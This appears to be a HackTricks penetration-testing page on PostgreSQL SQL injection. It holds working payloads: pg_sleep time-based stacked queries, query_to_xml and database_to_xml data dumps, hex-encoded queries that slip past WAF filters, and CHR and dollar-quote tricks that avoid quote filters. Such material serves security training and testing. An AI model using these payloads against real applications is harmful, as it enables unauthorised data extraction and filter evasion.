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95 lines
4.1 KiB
Markdown
95 lines
4.1 KiB
Markdown
# PostgreSQL injection
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{{#include ../../../banners/hacktricks-training.md}}
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---
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**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
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## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
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The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
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### **Exfiltration example using dblink and large objects**
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You can [**read this example**](dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
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## PostgreSQL Attacks: Read/write, RCE, privesc
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Check how to compromise the host and escalate privileges from PostgreSQL in:
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{{#ref}}
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../../../network-services-pentesting/pentesting-postgresql.md
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{{#endref}}
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## WAF bypass
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### PostgreSQL String functions
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Manipulating strings could help you to **bypass WAFs or other restrictions**.\
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[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
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### Stacked Queries
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Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
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```
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id=1; select pg_sleep(10);-- -
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1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
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```
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### XML tricks
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**query_to_xml**
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This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
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```sql
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SELECT query_to_xml('select * from pg_user',true,true,'');
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```
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**database_to_xml**
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This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
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```sql
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SELECT database_to_xml(true,true,'');
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```
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### Strings in Hex
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If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert_from to pass the string as hex and bypass filters this way:**
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```sql
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select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
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# Bypass via stacked queries + error based + query_to_xml with hex
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;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
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# Bypass via boolean + error based + query_to_xml with hex
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1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
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```
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### Forbidden quotes
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If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
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```
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SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
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```
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Or with `$`. This queries return the same results:
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```
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SELECT 'hacktricks';
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SELECT $$hacktricks$$;
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SELECT $TAG$hacktricks$TAG$;
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```
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{{#include ../../../banners/hacktricks-training.md}}
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